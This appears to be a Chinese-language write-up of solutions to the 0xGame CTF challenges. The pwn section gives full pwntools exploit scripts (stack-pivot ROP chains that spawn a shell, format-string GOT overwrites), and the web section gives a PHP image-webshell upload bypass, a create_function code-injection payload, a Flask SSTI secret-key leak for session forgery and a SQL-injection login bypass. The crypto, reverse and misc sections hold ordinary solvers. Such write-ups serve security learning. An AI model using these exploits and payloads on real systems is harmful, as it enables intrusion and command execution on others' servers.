Pwn
1. Where is my stack?!
一個我覺得挺難的棧遷移。
由於直接把棧遷移到bss
段會覆蓋之前的stdin/stdout
的IO
指針,所以直接puts
是不行的,但是read
覆蓋的內容比較少,不會有什么影響,可以用read
讀入數據到更高的bss
段,再轉移執行。
但是通過動態調試會發現,回到__start
后,無法push
數據,因為RSP
到了不可寫的段,因此還需要將棧抬高,通過0x40128d
處的gadget
(pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
)實現。
之后,在調用system
時,會發現,又遇到了與之前類似的問題,還需要將棧再抬高一次,仿照上述思路即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10005)
pwn = ELF("pwn")
#0x40128d pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
offset = 0x10
bss_addr = 0x4040A0 + offset
bss_addr_new = 0x4040A0 + 0x500
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
read_plt_addr = pwn.plt['read']
read_got_addr = pwn.got['read']
pop_rdi_addr = 0x401293
pop_rsi_addr = 0x401291
ret_addr = 0x40101a
io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)
payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401070)
io.send(payload)
io.recvuntil("something\n")
io.send(b'23333')
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
system_addr = 0x0453a0 + base
bin_sh_addr = 0x18ce17 + base
#one_gadget_addr = base + 0x4527a
io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)
payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)
io.recvuntil("something\n")
io.send(b'23333')
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)
io.send(payload)
io.interactive()
2. N1k0la's_love
格式化字符串漏洞,用fmtstr_payload
直接一把梭。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10006)
num_addr = 0x404058
payload = fmtstr_payload(6 , {num_addr : 1314})
io.sendafter("N1k0la?\n",payload)
io.interactive()
3. stupid repeater
格式化字符串漏洞,修改memset
的got
表指向的地址為后門函數。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10007)
pwn = ELF("pwn")
memset_got_addr = pwn.got['memset']
payload = fmtstr_payload(6 , {memset_got_addr : 0x401197})
io.send(payload)
io.interactive()
4. ezpwn?
一個簡單的棧遷移,最后再用一把one_gadget
即可。
from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10008)
pwn = ELF("pwn")
offset = 0 #本想抬高遷移地址,防止申請的臨時空間覆蓋bss段之前的有用數據,結果沒用到
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
pop_rdi_addr = 0x4012a3
io.recvuntil("maybe...\n")
payload = b'a'*(offset+8) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401167)
io.send(payload)
io.recvuntil("in ")
bss_addr = offset + int(io.recv(9), 16)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
one_gadget_addr = base + 0x4527a
io.recvuntil("more\n")
payload = b'a'*0x58 + p64(one_gadget_addr)
io.send(payload)
io.interactive()
Web
1. 一個簡單的文件上傳
對上傳的文件后綴過濾了ph
,對其內容過濾了php
,考慮上傳圖片馬,內容用短標簽寫,如:上傳1.png
,內容為<?=system('ls')?>
。
看源代碼,發現注釋read.php?filename=...
,由於圖片馬需要文件包含觸發執行,所以read.php?filename=/var/www/html/XXX.png
,使用絕對路徑包含上傳的文件,即可執行上傳的代碼內容。
由於出題人比較優秀,把flag
藏到了某未知區域,你是直接找不到flag
文件的,故可調用linux
命令,上傳圖片馬<?=system('grep -r "0xGame" /')?>
直接查找flag
的關鍵字內容即可,最終發現flag
被藏在了環境變量中。
2. find_my_secret
hash_hmac()
的繞過比較簡單,如果你將數組傳遞給中間的參數,php
將生成一個警告,返回一個NULL
並繼續執行你的程序。
$_POST['action']('',$_POST['Pupi1'])
考慮action
傳入creat_function
函數,Pupi1
再傳入}system('cat f*');/*
即可。
create_function('$a','echo $a."123"');
等價於:
function f($a) {
echo $a."123";
}
所以,按如上傳入,就成了:
function f() {
}system('cat f*');/*
}
3. 一個簡單的登錄
運維小哥哥題目出的太好了~
http://159.75.116.195:8083/{{7*7}}
返回49
,即可確定此次有SSTI
模板注入,但是優秀的出題人又一次瘋狂過濾了class
等,所以不能直接RCE
...
又由於是在flask
框架下,所以考慮偽造session
繞過admin
驗證,對session
的加解密需要key
,http://159.75.116.195:8083/{{config}}
直接可以拿到'SECRET_KEY': 'x1ct34myydsytstflglgjhdfhsh'
,此外,需要注意admin
是uid=1
的用戶,抓包改包操作一把就OK了。
4. Come to Inject me
giegie,come to inject me.
太 騷 了
爆破一下,發現過濾了單引號,既然要閉合,那么可以考慮雙引號或括號,試一下就知道,這里是雙引號。
此外還過濾了空格,這個繞過的方法很多,比如 /**/
或()
。
萬能密碼:"or/**/1#
或"or(1)#
都行。
Crypto
1. Gandalf's guidance
第四題的一部分,就不單獨寫了,爆破即可。
2. Calender
據說是簽到題,比如Sat2
,就是日歷圖中第二個星期六的日期所對應的小寫英文字母,比如23
號就對應w
,手動一波也就行了。
3. Equation
拿了Z3
解方程(給的數據是隨機的),之后再反過來轉一下即可,代碼如下:
from z3 import *
from Crypto.Util.number import *
x = Solver()
p,q = Ints('p q')
x.add(6887 * p + 6685 * q == 84364148525485105033100559758288341801606479982371604233782851268212776929093825186200569639679379662012853163288875748966226418560567327184386125769109572527243683402932876462430040230601416992800503974050327849168287851048632339372667322130200148797201510568566758637230782487307207951623927975703680168351662572365585655137363074805075497369721586216852359062655097098906411486397461633420175046434099542605504424759954509872)
x.add(p * q == 38638237231070703348591503984087157139855999723629100227991326861043320246507239948950780720812381270469550027894783071807368558851655126398884682687518489798378148842318257875074075434046534385014497892976879173543079489750705991701423415528881216135288807363846319538330504878296472459184137908223291582389028806770804423108109796415280755356243360284992180099557497994337960255608612095136751322849326778216179565749327748051508725926140544644707248428323922473683703174595429973350564186349290698433708332719940114864248715025499639381768192961738970331180668590561712758335567869395985007039585965183556180717333332316121469477430884469188279519433903934792555750802606151282510726130416494678418608554970951250829893808042084783421187277222005273724835295215512261532808816046425626189632800931916254203840824650212605048530164426181661785069)
x.check()
print(x.model())
print(long_to_bytes(125161236316403271164016787891594217047442759526495952066528516225311605327528804157984524799577329854265429162648826093949),end="")
4. CN NO.1
中國剩余定理,RSA
廣播攻擊了解一下。
代碼如下:
from pwn import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from hashlib import sha256
io = remote("47.101.38.213", 60712)
io.recvuntil("XXXX+")
tail = str(io.recv(8),'utf-8')
io.recvuntil("== ")
res = str(io.recv(63),'utf-8')
table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
io.recvuntil("XXXX :")
for i in table:
for j in table:
for k in table:
for t in table:
if sha256((i + j + k + t + tail).encode()).hexdigest() == res:
kkk = i + j + k + t
io.send(kkk.encode(encoding="utf-8"))
exit(0)
e = 3
n1 = int(io.recvline()[3:])
c1 = int(io.recvline()[3:])
n2 = int(io.recvline()[3:])
c2 = int(io.recvline()[3:])
n3 = int(io.recvline()[3:])
c3 = int(io.recvline()[3:])
N = [n1 , n2 , n3]
C = [c1 , c2 , c3]
result, mod = crt(N, C)
ans, type = iroot(result, e)
ans = str(ans)
io.send(ans.encode(encoding="utf-8"))
io.interactive()
Reverse
1. Despacito
DES
解密,密鑰拿IDA
直接能看到。
得到明文之后,再轉一下md5
即可。
from Crypto.Cipher import DES
import hashlib
key = b'0xgame21'
des = DES.new(key, DES.MODE_ECB)
f = open('DES.txt', 'rb')
encrypted_text = f.read()
plain_text = des.decrypt(encrypted_text).decode().rstrip(' ')
print(plain_text)
m = hashlib.md5()
m.update(plain_text.encode("utf-8"))
print("0xGame{",m.hexdigest(),"}",sep="")
2. Secret Base
一個換了表的base64
,解密腳本如下:
#include<bits/stdc++.h>
using namespace std;
char data[] = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/";
char secret[65] = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HVlREnoAhaF0Hn2dFBQVFC0=";
char plain[45];
int GetIndex(char c)
{
int i=0;
for(i=0; i<strlen(data); i++)
{
if(data[i] == c)
{
return i;
}
}
return -1;
}
void Decode(char *str,char *result)
{
int len = strlen(str);
int i = 0;
int cnt = 0;
int arr[4];
int temp;
for(i=0; i<len; i+=4)
{
arr[0] = GetIndex(str[i]);
arr[1] = GetIndex(str[i+1]);
if(str[i+2] == '=')
break;
arr[2] = GetIndex(str[i+2]);
if(str[i+3] == '=')
break;
arr[3] = GetIndex(str[i+3]);
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = (arr[1]&0x0f);
temp = temp << 4;
temp = temp | (arr[2]>>2);
result[cnt++] = temp;
temp = arr[2]&0x03;
temp = temp << 6;
temp = temp | (arr[3]&0x3f);
result[cnt++] = temp;
}
if(str[i+2] == '=')
{
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = arr[1]&0x0f;
temp = temp<<4;
}
else if(str[i+3] == '=')
{
temp = (arr[0]<<2) | (arr[1]>>4);
result[cnt++] = temp;
temp = arr[1]&0x0f;
temp = temp<<4;
temp = temp | (arr[2]>>2);
result[cnt++] = temp;
}
result[cnt] = '\0';
}
int main()
{
Decode(secret, plain);
cout<<plain<<endl;
return 0;
}
Misc
1. ENCODE
先用新約佛論禪解密,再把中文換成Ook
,拿Ook
解密,最后再拿Script Decoder
解密vbs
腳本即可。
2. EasyAlpha
圖片分離,用Stegsolve
直接一把梭。
3. Hamburger Souls
用16
進制編輯器,如010
打開,直接搜索0xGame
即可拿到flag
。
4. dlohesuoHesaB
觀察到題目名,附件名,如果倒過來就是正常的英文單詞或組合。
所以,將附件內容全倒過來,然后再用Base
家族解密。
解密流程:Base85 -> Base58 -> Base85 -> Base32 -> Base64 -> Base58 -> Base85 -> Base32 -> Base62 -> Base58 -> Base64 -> Base85 -> Base64 -> Base62 -> Base58 -> Base32
,一共16
層。
5. EasyPcap
掃描網絡的操作是ping
,其對應的Destination
的IP
是185.199.108.153
,故以185.199.108.153
為明文,ping
為密碼,進行3DES
加密,並以16
進制的形式輸出密文即可。
0xGame{ec6d199865663767741e27953653206e}